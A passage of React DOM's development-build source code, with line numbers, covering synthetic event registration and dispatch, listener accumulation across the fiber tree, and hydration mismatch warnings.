8823 // E.g. it needs "pointerDown", not "pointerdown".
8824 // This is because we derive both React name ("onPointerDown")
8825 // and DOM name ("pointerdown") from the same list.
8826 //
8827 // Exceptions that don't match this convention are listed separately.
8828 //
8829 // prettier-ignore
8830
8831 var simpleEventPluginEvents = ['abort', 'auxClick', 'cancel', 'canPlay', 'canPlayThrough', 'click', 'close', 'contextMenu', 'copy', 'cut', 'drag', 'dragEnd', 'dragEnter', 'dragExit', 'dragLeave', 'dragOver', 'dragStart', 'drop', 'durationChange', 'emptied', 'encrypted', 'ended', 'error', 'gotPointerCapture', 'input', 'invalid', 'keyDown', 'keyPress', 'keyUp', 'load', 'loadedData', 'loadedMetadata', 'loadStart', 'lostPointerCapture', 'mouseDown', 'mouseMove', 'mouseOut', 'mouseOver', 'mouseUp', 'paste', 'pause', 'play', 'playing', 'pointerCancel', 'pointerDown', 'pointerMove', 'pointerOut', 'pointerOver', 'pointerUp', 'progress', 'rateChange', 'reset', 'resize', 'seeked', 'seeking', 'stalled', 'submit', 'suspend', 'timeUpdate', 'touchCancel', 'touchEnd', 'touchStart', 'volumeChange', 'scroll', 'toggle', 'touchMove', 'waiting', 'wheel'];
8832
8833 function registerSimpleEvent(domEventName, reactName) {
8834 topLevelEventsToReactNames.set(domEventName, reactName);
8835 registerTwoPhaseEvent(reactName, [domEventName]);
8836 }
8837
8838 function registerSimpleEvents() {
8839 for (var i = 0; i < simpleEventPluginEvents.length; i++) {
8840 var eventName = simpleEventPluginEvents[i];
8841 var domEventName = eventName.toLowerCase();
8842 var capitalizedEvent = eventName[0].toUpperCase() + eventName.slice(1);
8843 registerSimpleEvent(domEventName, 'on' + capitalizedEvent);
8844 } // Special cases where event names don't match.
8845
8846
8847 registerSimpleEvent(ANIMATION_END, 'onAnimationEnd');
8848 registerSimpleEvent(ANIMATION_ITERATION, 'onAnimationIteration');
8849 registerSimpleEvent(ANIMATION_START, 'onAnimationStart');
8850 registerSimpleEvent('dblclick', 'onDoubleClick');
8851 registerSimpleEvent('focusin', 'onFocus');
8852 registerSimpleEvent('focusout', 'onBlur');
8853 registerSimpleEvent(TRANSITION_END, 'onTransitionEnd');
8854 }
8855
8856 function extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
8857 var reactName = topLevelEventsToReactNames.get(domEventName);
8858
8859 if (reactName === undefined) {
8860 return;
8861 }
8862
8863 var SyntheticEventCtor = SyntheticEvent;
8864 var reactEventType = domEventName;
8865
8866 switch (domEventName) {
8867 case 'keypress':
8868 // Firefox creates a keypress event for function keys too. This removes
8869 // the unwanted keypress events. Enter is however both printable and
8870 // non-printable. One would expect Tab to be as well (but it isn't).
8871 if (getEventCharCode(nativeEvent) === 0) {
8872 return;
8873 }
8874
8875 /* falls through */
8876
8877 case 'keydown':
8878 case 'keyup':
8879 SyntheticEventCtor = SyntheticKeyboardEvent;
8880 break;
8881
8882 case 'focusin':
8883 reactEventType = 'focus';
8884 SyntheticEventCtor = SyntheticFocusEvent;
8885 break;
8886
8887 case 'focusout':
8888 reactEventType = 'blur';
8889 SyntheticEventCtor = SyntheticFocusEvent;
8890 break;
8891
8892 case 'beforeblur':
8893 case 'afterblur':
8894 SyntheticEventCtor = SyntheticFocusEvent;
8895 break;
8896
8897 case 'click':
8898 // Firefox creates a click event on right mouse clicks. This removes the
8899 // unwanted click events.
8900 if (nativeEvent.button === 2) {
8901 return;
8902 }
8903
8904 /* falls through */
8905
8906 case 'auxclick':
8907 case 'dblclick':
8908 case 'mousedown':
8909 case 'mousemove':
8910 case 'mouseup': // TODO: Disabled elements should not respond to mouse events
8911
8912 /* falls through */
8913
8914 case 'mouseout':
8915 case 'mouseover':
8916 case 'contextmenu':
8917 SyntheticEventCtor = SyntheticMouseEvent;
8918 break;
8919
8920 case 'drag':
8921 case 'dragend':
8922 case 'dragenter':
8923 case 'dragexit':
8924 case 'dragleave':
8925 case 'dragover':
8926 case 'dragstart':
8927 case 'drop':
8928 SyntheticEventCtor = SyntheticDragEvent;
8929 break;
8930
8931 case 'touchcancel':
8932 case 'touchend':
8933 case 'touchmove':
8934 case 'touchstart':
8935 SyntheticEventCtor = SyntheticTouchEvent;
8936 break;
8937
8938 case ANIMATION_END:
8939 case ANIMATION_ITERATION:
8940 case ANIMATION_START:
8941 SyntheticEventCtor = SyntheticAnimationEvent;
8942 break;
8943
8944 case TRANSITION_END:
8945 SyntheticEventCtor = SyntheticTransitionEvent;
8946 break;
8947
8948 case 'scroll':
8949 SyntheticEventCtor = SyntheticUIEvent;
8950 break;
8951
8952 case 'wheel':
8953 SyntheticEventCtor = SyntheticWheelEvent;
8954 break;
8955
8956 case 'copy':
8957 case 'cut':
8958 case 'paste':
8959 SyntheticEventCtor = SyntheticClipboardEvent;
8960 break;
8961
8962 case 'gotpointercapture':
8963 case 'lostpointercapture':
8964 case 'pointercancel':
8965 case 'pointerdown':
8966 case 'pointermove':
8967 case 'pointerout':
8968 case 'pointerover':
8969 case 'pointerup':
8970 SyntheticEventCtor = SyntheticPointerEvent;
8971 break;
8972 }
8973
8974 var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;
8975
8976 {
8977 // Some events don't bubble in the browser.
8978 // In the past, React has always bubbled them, but this can be surprising.
8979 // We're going to try aligning closer to the browser behavior by not bubbling
8980 // them in React either. We'll start by not bubbling onScroll, and then expand.
8981 var accumulateTargetOnly = !inCapturePhase && // TODO: ideally, we'd eventually add all events from
8982 // nonDelegatedEvents list in DOMPluginEventSystem.
8983 // Then we can remove this special list.
8984 // This is a breaking change that can wait until React 18.
8985 domEventName === 'scroll';
8986
8987 var _listeners = accumulateSinglePhaseListeners(targetInst, reactName, nativeEvent.type, inCapturePhase, accumulateTargetOnly);
8988
8989 if (_listeners.length > 0) {
8990 // Intentionally create event lazily.
8991 var _event = new SyntheticEventCtor(reactName, reactEventType, null, nativeEvent, nativeEventTarget);
8992
8993 dispatchQueue.push({
8994 event: _event,
8995 listeners: _listeners
8996 });
8997 }
8998 }
8999 }
9000
9001 // TODO: remove top-level side effect.
9002 registerSimpleEvents();
9003 registerEvents$2();
9004 registerEvents$1();
9005 registerEvents$3();
9006 registerEvents();
9007
9008 function extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags, targetContainer) {
9009 // TODO: we should remove the concept of a "SimpleEventPlugin".
9010 // This is the basic functionality of the event system. All
9011 // the other plugins are essentially polyfills. So the plugin
9012 // should probably be inlined somewhere and have its logic
9013 // be core the to event system. This would potentially allow
9014 // us to ship builds of React without the polyfilled plugins below.
9015 extractEvents$4(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
9016 var shouldProcessPolyfillPlugins = (eventSystemFlags & SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS) === 0; // We don't process these events unless we are in the
9017 // event's native "bubble" phase, which means that we're
9018 // not in the capture phase. That's because we emulate
9019 // the capture phase here still. This is a trade-off,
9020 // because in an ideal world we would not emulate and use
9021 // the phases properly, like we do with the SimpleEvent
9022 // plugin. However, the plugins below either expect
9023 // emulation (EnterLeave) or use state localized to that
9024 // plugin (BeforeInput, Change, Select). The state in
9025 // these modules complicates things, as you'll essentially
9026 // get the case where the capture phase event might change
9027 // state, only for the following bubble event to come in
9028 // later and not trigger anything as the state now
9029 // invalidates the heuristics of the event plugin. We
9030 // could alter all these plugins to work in such ways, but
9031 // that might cause other unknown side-effects that we
9032 // can't foresee right now.
9033
9034 if (shouldProcessPolyfillPlugins) {
9035 extractEvents$2(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
9036 extractEvents$1(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
9037 extractEvents$3(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
9038 extractEvents(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget);
9039 }
9040 } // List of events that need to be individually attached to media elements.
9041
9042
9043 var mediaEventTypes = ['abort', 'canplay', 'canplaythrough', 'durationchange', 'emptied', 'encrypted', 'ended', 'error', 'loadeddata', 'loadedmetadata', 'loadstart', 'pause', 'play', 'playing', 'progress', 'ratechange', 'resize', 'seeked', 'seeking', 'stalled', 'suspend', 'timeupdate', 'volumechange', 'waiting']; // We should not delegate these events to the container, but rather
9044 // set them on the actual target element itself. This is primarily
9045 // because these events do not consistently bubble in the DOM.
9046
9047 var nonDelegatedEvents = new Set(['cancel', 'close', 'invalid', 'load', 'scroll', 'toggle'].concat(mediaEventTypes));
9048
9049 function executeDispatch(event, listener, currentTarget) {
9050 var type = event.type || 'unknown-event';
9051 event.currentTarget = currentTarget;
9052 invokeGuardedCallbackAndCatchFirstError(type, listener, undefined, event);
9053 event.currentTarget = null;
9054 }
9055
9056 function processDispatchQueueItemsInOrder(event, dispatchListeners, inCapturePhase) {
9057 var previousInstance;
9058
9059 if (inCapturePhase) {
9060 for (var i = dispatchListeners.length - 1; i >= 0; i--) {
9061 var _dispatchListeners$i = dispatchListeners[i],
9062 instance = _dispatchListeners$i.instance,
9063 currentTarget = _dispatchListeners$i.currentTarget,
9064 listener = _dispatchListeners$i.listener;
9065
9066 if (instance !== previousInstance && event.isPropagationStopped()) {
9067 return;
9068 }
9069
9070 executeDispatch(event, listener, currentTarget);
9071 previousInstance = instance;
9072 }
9073 } else {
9074 for (var _i = 0; _i < dispatchListeners.length; _i++) {
9075 var _dispatchListeners$_i = dispatchListeners[_i],
9076 _instance = _dispatchListeners$_i.instance,
9077 _currentTarget = _dispatchListeners$_i.currentTarget,
9078 _listener = _dispatchListeners$_i.listener;
9079
9080 if (_instance !== previousInstance && event.isPropagationStopped()) {
9081 return;
9082 }
9083
9084 executeDispatch(event, _listener, _currentTarget);
9085 previousInstance = _instance;
9086 }
9087 }
9088 }
9089
9090 function processDispatchQueue(dispatchQueue, eventSystemFlags) {
9091 var inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;
9092
9093 for (var i = 0; i < dispatchQueue.length; i++) {
9094 var _dispatchQueue$i = dispatchQueue[i],
9095 event = _dispatchQueue$i.event,
9096 listeners = _dispatchQueue$i.listeners;
9097 processDispatchQueueItemsInOrder(event, listeners, inCapturePhase); // event system doesn't use pooling.
9098 } // This would be a good time to rethrow if any of the event handlers threw.
9099
9100
9101 rethrowCaughtError();
9102 }
9103
9104 function dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
9105 var nativeEventTarget = getEventTarget(nativeEvent);
9106 var dispatchQueue = [];
9107 extractEvents$5(dispatchQueue, domEventName, targetInst, nativeEvent, nativeEventTarget, eventSystemFlags);
9108 processDispatchQueue(dispatchQueue, eventSystemFlags);
9109 }
9110
9111 function listenToNonDelegatedEvent(domEventName, targetElement) {
9112 {
9113 if (!nonDelegatedEvents.has(domEventName)) {
9114 error('Did not expect a listenToNonDelegatedEvent() call for "%s". ' + 'This is a bug in React. Please file an issue.', domEventName);
9115 }
9116 }
9117
9118 var isCapturePhaseListener = false;
9119 var listenerSet = getEventListenerSet(targetElement);
9120 var listenerSetKey = getListenerSetKey(domEventName, isCapturePhaseListener);
9121
9122 if (!listenerSet.has(listenerSetKey)) {
9123 addTrappedEventListener(targetElement, domEventName, IS_NON_DELEGATED, isCapturePhaseListener);
9124 listenerSet.add(listenerSetKey);
9125 }
9126 }
9127 function listenToNativeEvent(domEventName, isCapturePhaseListener, target) {
9128 {
9129 if (nonDelegatedEvents.has(domEventName) && !isCapturePhaseListener) {
9130 error('Did not expect a listenToNativeEvent() call for "%s" in the bubble phase. ' + 'This is a bug in React. Please file an issue.', domEventName);
9131 }
9132 }
9133
9134 var eventSystemFlags = 0;
9135
9136 if (isCapturePhaseListener) {
9137 eventSystemFlags |= IS_CAPTURE_PHASE;
9138 }
9139
9140 addTrappedEventListener(target, domEventName, eventSystemFlags, isCapturePhaseListener);
9141 } // This is only used by createEventHandle when the
9142 var listeningMarker = '_reactListening' + Math.random().toString(36).slice(2);
9143 function listenToAllSupportedEvents(rootContainerElement) {
9144 if (!rootContainerElement[listeningMarker]) {
9145 rootContainerElement[listeningMarker] = true;
9146 allNativeEvents.forEach(function (domEventName) {
9147 // We handle selectionchange separately because it
9148 // doesn't bubble and needs to be on the document.
9149 if (domEventName !== 'selectionchange') {
9150 if (!nonDelegatedEvents.has(domEventName)) {
9151 listenToNativeEvent(domEventName, false, rootContainerElement);
9152 }
9153
9154 listenToNativeEvent(domEventName, true, rootContainerElement);
9155 }
9156 });
9157 var ownerDocument = rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;
9158
9159 if (ownerDocument !== null) {
9160 // The selectionchange event also needs deduplication
9161 // but it is attached to the document.
9162 if (!ownerDocument[listeningMarker]) {
9163 ownerDocument[listeningMarker] = true;
9164 listenToNativeEvent('selectionchange', false, ownerDocument);
9165 }
9166 }
9167 }
9168 }
9169
9170 function addTrappedEventListener(targetContainer, domEventName, eventSystemFlags, isCapturePhaseListener, isDeferredListenerForLegacyFBSupport) {
9171 var listener = createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags); // If passive option is not supported, then the event will be
9172 // active and not passive.
9173
9174 var isPassiveListener = undefined;
9175
9176 if (passiveBrowserEventsSupported) {
9177 // Browsers introduced an intervention, making these events
9178 // passive by default on document. React doesn't bind them
9179 // to document anymore, but changing this now would undo
9180 // the performance wins from the change. So we emulate
9181 // the existing behavior manually on the roots now.
9182 // https://github.com/facebook/react/issues/19651
9183 if (domEventName === 'touchstart' || domEventName === 'touchmove' || domEventName === 'wheel') {
9184 isPassiveListener = true;
9185 }
9186 }
9187
9188 targetContainer = targetContainer;
9189 var unsubscribeListener; // When legacyFBSupport is enabled, it's for when we
9190
9191
9192 if (isCapturePhaseListener) {
9193 if (isPassiveListener !== undefined) {
9194 unsubscribeListener = addEventCaptureListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
9195 } else {
9196 unsubscribeListener = addEventCaptureListener(targetContainer, domEventName, listener);
9197 }
9198 } else {
9199 if (isPassiveListener !== undefined) {
9200 unsubscribeListener = addEventBubbleListenerWithPassiveFlag(targetContainer, domEventName, listener, isPassiveListener);
9201 } else {
9202 unsubscribeListener = addEventBubbleListener(targetContainer, domEventName, listener);
9203 }
9204 }
9205 }
9206
9207 function isMatchingRootContainer(grandContainer, targetContainer) {
9208 return grandContainer === targetContainer || grandContainer.nodeType === COMMENT_NODE && grandContainer.parentNode === targetContainer;
9209 }
9210
9211 function dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, targetInst, targetContainer) {
9212 var ancestorInst = targetInst;
9213
9214 if ((eventSystemFlags & IS_EVENT_HANDLE_NON_MANAGED_NODE) === 0 && (eventSystemFlags & IS_NON_DELEGATED) === 0) {
9215 var targetContainerNode = targetContainer; // If we are using the legacy FB support flag, we
9216
9217 if (targetInst !== null) {
9218 // The below logic attempts to work out if we need to change
9219 // the target fiber to a different ancestor. We had similar logic
9220 // in the legacy event system, except the big difference between
9221 // systems is that the modern event system now has an event listener
9222 // attached to each React Root and React Portal Root. Together,
9223 // the DOM nodes representing these roots are the "rootContainer".
9224 // To figure out which ancestor instance we should use, we traverse
9225 // up the fiber tree from the target instance and attempt to find
9226 // root boundaries that match that of our current "rootContainer".
9227 // If we find that "rootContainer", we find the parent fiber
9228 // sub-tree for that root and make that our ancestor instance.
9229 var node = targetInst;
9230
9231 mainLoop: while (true) {
9232 if (node === null) {
9233 return;
9234 }
9235
9236 var nodeTag = node.tag;
9237
9238 if (nodeTag === HostRoot || nodeTag === HostPortal) {
9239 var container = node.stateNode.containerInfo;
9240
9241 if (isMatchingRootContainer(container, targetContainerNode)) {
9242 break;
9243 }
9244
9245 if (nodeTag === HostPortal) {
9246 // The target is a portal, but it's not the rootContainer we're looking for.
9247 // Normally portals handle their own events all the way down to the root.
9248 // So we should be able to stop now. However, we don't know if this portal
9249 // was part of *our* root.
9250 var grandNode = node.return;
9251
9252 while (grandNode !== null) {
9253 var grandTag = grandNode.tag;
9254
9255 if (grandTag === HostRoot || grandTag === HostPortal) {
9256 var grandContainer = grandNode.stateNode.containerInfo;
9257
9258 if (isMatchingRootContainer(grandContainer, targetContainerNode)) {
9259 // This is the rootContainer we're looking for and we found it as
9260 // a parent of the Portal. That means we can ignore it because the
9261 // Portal will bubble through to us.
9262 return;
9263 }
9264 }
9265
9266 grandNode = grandNode.return;
9267 }
9268 } // Now we need to find it's corresponding host fiber in the other
9269 // tree. To do this we can use getClosestInstanceFromNode, but we
9270 // need to validate that the fiber is a host instance, otherwise
9271 // we need to traverse up through the DOM till we find the correct
9272 // node that is from the other tree.
9273
9274
9275 while (container !== null) {
9276 var parentNode = getClosestInstanceFromNode(container);
9277
9278 if (parentNode === null) {
9279 return;
9280 }
9281
9282 var parentTag = parentNode.tag;
9283
9284 if (parentTag === HostComponent || parentTag === HostText) {
9285 node = ancestorInst = parentNode;
9286 continue mainLoop;
9287 }
9288
9289 container = container.parentNode;
9290 }
9291 }
9292
9293 node = node.return;
9294 }
9295 }
9296 }
9297
9298 batchedUpdates(function () {
9299 return dispatchEventsForPlugins(domEventName, eventSystemFlags, nativeEvent, ancestorInst);
9300 });
9301 }
9302
9303 function createDispatchListener(instance, listener, currentTarget) {
9304 return {
9305 instance: instance,
9306 listener: listener,
9307 currentTarget: currentTarget
9308 };
9309 }
9310
9311 function accumulateSinglePhaseListeners(targetFiber, reactName, nativeEventType, inCapturePhase, accumulateTargetOnly, nativeEvent) {
9312 var captureName = reactName !== null ? reactName + 'Capture' : null;
9313 var reactEventName = inCapturePhase ? captureName : reactName;
9314 var listeners = [];
9315 var instance = targetFiber;
9316 var lastHostComponent = null; // Accumulate all instances and listeners via the target -> root path.
9317
9318 while (instance !== null) {
9319 var _instance2 = instance,
9320 stateNode = _instance2.stateNode,
9321 tag = _instance2.tag; // Handle listeners that are on HostComponents (i.e. <div>)
9322
9323 if (tag === HostComponent && stateNode !== null) {
9324 lastHostComponent = stateNode; // createEventHandle listeners
9325
9326
9327 if (reactEventName !== null) {
9328 var listener = getListener(instance, reactEventName);
9329
9330 if (listener != null) {
9331 listeners.push(createDispatchListener(instance, listener, lastHostComponent));
9332 }
9333 }
9334 } // If we are only accumulating events for the target, then we don't
9335 // continue to propagate through the React fiber tree to find other
9336 // listeners.
9337
9338
9339 if (accumulateTargetOnly) {
9340 break;
9341 } // If we are processing the onBeforeBlur event, then we need to take
9342
9343 instance = instance.return;
9344 }
9345
9346 return listeners;
9347 } // We should only use this function for:
9348 // - BeforeInputEventPlugin
9349 // - ChangeEventPlugin
9350 // - SelectEventPlugin
9351 // This is because we only process these plugins
9352 // in the bubble phase, so we need to accumulate two
9353 // phase event listeners (via emulation).
9354
9355 function accumulateTwoPhaseListeners(targetFiber, reactName) {
9356 var captureName = reactName + 'Capture';
9357 var listeners = [];
9358 var instance = targetFiber; // Accumulate all instances and listeners via the target -> root path.
9359
9360 while (instance !== null) {
9361 var _instance3 = instance,
9362 stateNode = _instance3.stateNode,
9363 tag = _instance3.tag; // Handle listeners that are on HostComponents (i.e. <div>)
9364
9365 if (tag === HostComponent && stateNode !== null) {
9366 var currentTarget = stateNode;
9367 var captureListener = getListener(instance, captureName);
9368
9369 if (captureListener != null) {
9370 listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
9371 }
9372
9373 var bubbleListener = getListener(instance, reactName);
9374
9375 if (bubbleListener != null) {
9376 listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
9377 }
9378 }
9379
9380 instance = instance.return;
9381 }
9382
9383 return listeners;
9384 }
9385
9386 function getParent(inst) {
9387 if (inst === null) {
9388 return null;
9389 }
9390
9391 do {
9392 inst = inst.return; // TODO: If this is a HostRoot we might want to bail out.
9393 // That is depending on if we want nested subtrees (layers) to bubble
9394 // events to their parent. We could also go through parentNode on the
9395 // host node but that wouldn't work for React Native and doesn't let us
9396 // do the portal feature.
9397 } while (inst && inst.tag !== HostComponent);
9398
9399 if (inst) {
9400 return inst;
9401 }
9402
9403 return null;
9404 }
9405 /**
9406 * Return the lowest common ancestor of A and B, or null if they are in
9407 * different trees.
9408 */
9409
9410
9411 function getLowestCommonAncestor(instA, instB) {
9412 var nodeA = instA;
9413 var nodeB = instB;
9414 var depthA = 0;
9415
9416 for (var tempA = nodeA; tempA; tempA = getParent(tempA)) {
9417 depthA++;
9418 }
9419
9420 var depthB = 0;
9421
9422 for (var tempB = nodeB; tempB; tempB = getParent(tempB)) {
9423 depthB++;
9424 } // If A is deeper, crawl up.
9425
9426
9427 while (depthA - depthB > 0) {
9428 nodeA = getParent(nodeA);
9429 depthA--;
9430 } // If B is deeper, crawl up.
9431
9432
9433 while (depthB - depthA > 0) {
9434 nodeB = getParent(nodeB);
9435 depthB--;
9436 } // Walk in lockstep until we find a match.
9437
9438
9439 var depth = depthA;
9440
9441 while (depth--) {
9442 if (nodeA === nodeB || nodeB !== null && nodeA === nodeB.alternate) {
9443 return nodeA;
9444 }
9445
9446 nodeA = getParent(nodeA);
9447 nodeB = getParent(nodeB);
9448 }
9449
9450 return null;
9451 }
9452
9453 function accumulateEnterLeaveListenersForEvent(dispatchQueue, event, target, common, inCapturePhase) {
9454 var registrationName = event._reactName;
9455 var listeners = [];
9456 var instance = target;
9457
9458 while (instance !== null) {
9459 if (instance === common) {
9460 break;
9461 }
9462
9463 var _instance4 = instance,
9464 alternate = _instance4.alternate,
9465 stateNode = _instance4.stateNode,
9466 tag = _instance4.tag;
9467
9468 if (alternate !== null && alternate === common) {
9469 break;
9470 }
9471
9472 if (tag === HostComponent && stateNode !== null) {
9473 var currentTarget = stateNode;
9474
9475 if (inCapturePhase) {
9476 var captureListener = getListener(instance, registrationName);
9477
9478 if (captureListener != null) {
9479 listeners.unshift(createDispatchListener(instance, captureListener, currentTarget));
9480 }
9481 } else if (!inCapturePhase) {
9482 var bubbleListener = getListener(instance, registrationName);
9483
9484 if (bubbleListener != null) {
9485 listeners.push(createDispatchListener(instance, bubbleListener, currentTarget));
9486 }
9487 }
9488 }
9489
9490 instance = instance.return;
9491 }
9492
9493 if (listeners.length !== 0) {
9494 dispatchQueue.push({
9495 event: event,
9496 listeners: listeners
9497 });
9498 }
9499 } // We should only use this function for:
9500 // - EnterLeaveEventPlugin
9501 // This is because we only process this plugin
9502 // in the bubble phase, so we need to accumulate two
9503 // phase event listeners.
9504
9505
9506 function accumulateEnterLeaveTwoPhaseListeners(dispatchQueue, leaveEvent, enterEvent, from, to) {
9507 var common = from && to ? getLowestCommonAncestor(from, to) : null;
9508
9509 if (from !== null) {
9510 accumulateEnterLeaveListenersForEvent(dispatchQueue, leaveEvent, from, common, false);
9511 }
9512
9513 if (to !== null && enterEvent !== null) {
9514 accumulateEnterLeaveListenersForEvent(dispatchQueue, enterEvent, to, common, true);
9515 }
9516 }
9517 function getListenerSetKey(domEventName, capture) {
9518 return domEventName + "__" + (capture ? 'capture' : 'bubble');
9519 }
9520
9521 var didWarnInvalidHydration = false;
9522 var DANGEROUSLY_SET_INNER_HTML = 'dangerouslySetInnerHTML';
9523 var SUPPRESS_CONTENT_EDITABLE_WARNING = 'suppressContentEditableWarning';
9524 var SUPPRESS_HYDRATION_WARNING = 'suppressHydrationWarning';
9525 var AUTOFOCUS = 'autoFocus';
9526 var CHILDREN = 'children';
9527 var STYLE = 'style';
9528 var HTML$1 = '__html';
9529 var warnedUnknownTags;
9530 var validatePropertiesInDevelopment;
9531 var warnForPropDifference;
9532 var warnForExtraAttributes;
9533 var warnForInvalidEventListener;
9534 var canDiffStyleForHydrationWarning;
9535 var normalizeHTML;
9536
9537 {
9538 warnedUnknownTags = {
9539 // There are working polyfills for <dialog>. Let people use it.
9540 dialog: true,
9541 // Electron ships a custom <webview> tag to display external web content in
9542 // an isolated frame and process.
9543 // This tag is not present in non Electron environments such as JSDom which
9544 // is often used for testing purposes.
9545 // @see https://electronjs.org/docs/api/webview-tag
9546 webview: true
9547 };
9548
9549 validatePropertiesInDevelopment = function (type, props) {
9550 validateProperties(type, props);
9551 validateProperties$1(type, props);
9552 validateProperties$2(type, props, {
9553 registrationNameDependencies: registrationNameDependencies,
9554 possibleRegistrationNames: possibleRegistrationNames
9555 });
9556 }; // IE 11 parses & normalizes the style attribute as opposed to other
9557 // browsers. It adds spaces and sorts the properties in some
9558 // non-alphabetical order. Handling that would require sorting CSS
9559 // properties in the client & server versions or applying
9560 // `expectedStyle` to a temporary DOM node to read its `style` attribute
9561 // normalized. Since it only affects IE, we're skipping style warnings
9562 // in that browser completely in favor of doing all that work.
9563 // See https://github.com/facebook/react/issues/11807
9564
9565
9566 canDiffStyleForHydrationWarning = canUseDOM && !document.documentMode;
9567
9568 warnForPropDifference = function (propName, serverValue, clientValue) {
9569 if (didWarnInvalidHydration) {
9570 return;
9571 }
9572
9573 var normalizedClientValue = normalizeMarkupForTextOrAttribute(clientValue);
9574 var normalizedServerValue = normalizeMarkupForTextOrAttribute(serverValue);
9575
9576 if (normalizedServerValue === normalizedClientValue) {
9577 return;
9578 }
9579
9580 didWarnInvalidHydration = true;
9581
9582 error('Prop `%s` did not match. Server: %s Client: %s', propName, JSON.stringify(normalizedServerValue), JSON.stringify(normalizedClientValue));
9583 };
9584
9585 warnForExtraAttributes = function (attributeNames) {
9586 if (didWarnInvalidHydration) {
9587 return;
9588 }
9589
9590 didWarnInvalidHydration = true;
9591 var names = [];
9592 attributeNames.forEach(function (name) {
9593 names.push(name);
9594 });
9595
9596 error('Extra attributes from the server: %s', names);
9597 };
9598
9599 warnForInvalidEventListener = function (registrationName, listener) {
9600 if (listener === false) {
9601 error('Expected `%s` listener to be a function, instead got `false`.\n\n' + 'If you used to conditionally omit it with %s={condition && value}, ' + 'pass %s={condition ? value : undefined} instead.', registrationName, registrationName, registrationName);
9602 } else {
9603 error('Expected `%s` listener to be a function, instead got a value of `%s` type.', registrationName, typeof listener);
9604 }
9605 }; // Parse the HTML and read it back to normalize the HTML string so that it
9606 // can be used for comparison.
9607
9608
9609 normalizeHTML = function (parent, html) {
9610 // We could have created a separate document here to avoid
9611 // re-initializing custom elements if they exist. But this breaks
9612 // how <noscript> is being handled. So we use the same document.
9613 // See the discussion in https://github.com/facebook/react/pull/11157.
9614 var testElement = parent.namespaceURI === HTML_NAMESPACE ? parent.ownerDocument.createElement(parent.tagName) : parent.ownerDocument.createElementNS(parent.namespaceURI, parent.tagName);
9615 testElement.innerHTML = html;
9616 return testElement.innerHTML;
9617 };
9618 } // HTML parsing normalizes CR and CRLF to LF.
9619 // It also can turn \u0000 into \uFFFD inside attributes.
9620 // https://www.w3.org/TR/html5/single-page.html#preprocessing-the-input-stream
9621 // If we have a mismatch, it might be caused by that.
9622 // We will still patch up in this case but not fire the warning.
9623
9624
9625 var NORMALIZE_NEWLINES_REGEX = /\r\n?/g;
9626 var NORMALIZE_NULL_AND_REPLACEMENT_REGEX = /\u0000|\uFFFD/g;
9627
9628 function normalizeMarkupForTextOrAttribute(markup) {
9629 {
9630 checkHtmlStringCoercion(markup);
9631 }
9632
9633 var markupString = typeof markup === 'string' ? markup : '' + markup;
9634 return markupString.replace(NORMALIZE_NEWLINES_REGEX, '\n').replace(NORMALIZE_NULL_AND_REPLACEMENT_REGEX, '');
9635 }
9636
9637 function checkForUnmatchedText(serverText, clientText, isConcurrentMode, shouldWarnDev) {
9638 var normalizedClientText = normalizeMarkupForTextOrAttribute(clientText);
9639 var normalizedServerText = normalizeMarkupForTextOrAttribute(serverText);
9640
9641 if (normalizedServerText === normalizedClientText) {
9642 return;
9643 }
9644
9645 if (shouldWarnDev) {
9646 {
9647 if (!didWarnInvalidHydration) {
9648 didWarnInvalidHydration = true;
9649
9650 error('Text content did not match. Server: "%s" Client: "%s"', normalizedServerText, normalizedClientText);
9651 }
9652 }
9653 }
9654
9655 if (isConcurrentMode && enableClientRenderFallbackOnTextMismatch) {
9656 // In concurrent roots, we throw when there's a text mismatch and revert to
9657 // client rendering, up to the nearest Suspense boundary.
9658 throw new Error('Text content does not match server-rendered HTML.');
9659 }
9660 }
9661
9662 function getOwnerDocumentFromRootContainer(rootContainerElement) {
9663 return rootContainerElement.nodeType === DOCUMENT_NODE ? rootContainerElement : rootContainerElement.ownerDocument;
9664 }
9665
9666 function noop() {}
9667
9668 function trapClickOnNonInteractiveElement(node) {
9669 // Mobile Safari does not fire properly bubble click events on
9670 // non-interactive elements, which means delegated click listeners do not
9671 // fire. The workaround for this bug involves attaching an empty click
9672 // listener on the target node.
9673 // https://www.quirksmode.org/blog/archives/2010/09/click_event_del.html
9674 // Just set it using the onclick property so that we don't have to manage any
9675 // bookkeeping for it. Not sure if we need to clear it when the listener is
9676 // removed.
9677 // TODO: Only do this for the relevant Safaris maybe?
9678 node.onclick = noop;
9679 }
9680
9681 function setInitialDOMProperties(tag, domElement, rootContainerElement, nextProps, isCustomComponentTag) {
9682 for (var propKey in nextProps) {
9683 if (!nextProps.hasOwnProperty(propKey)) {
9684 continue;
9685 }
9686
9687 var nextProp = nextProps[propKey];
9688
9689 if (propKey === STYLE) {
9690 {
9691 if (nextProp) {
9692 // Freeze the next style object so that we can assume it won't be
9693 // mutated. We have already warned for this in the past.
9694 Object.freeze(nextProp);
9695 }
9696 } // Relies on `updateStylesByID` not mutating `styleUpdates`.
9697
9698
9699 setValueForStyles(domElement, nextProp);
9700 } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
9701 var nextHtml = nextProp ? nextProp[HTML$1] : undefined;
9702
9703 if (nextHtml != null) {
9704 setInnerHTML(domElement, nextHtml);
9705 }
9706 } else if (propKey === CHILDREN) {
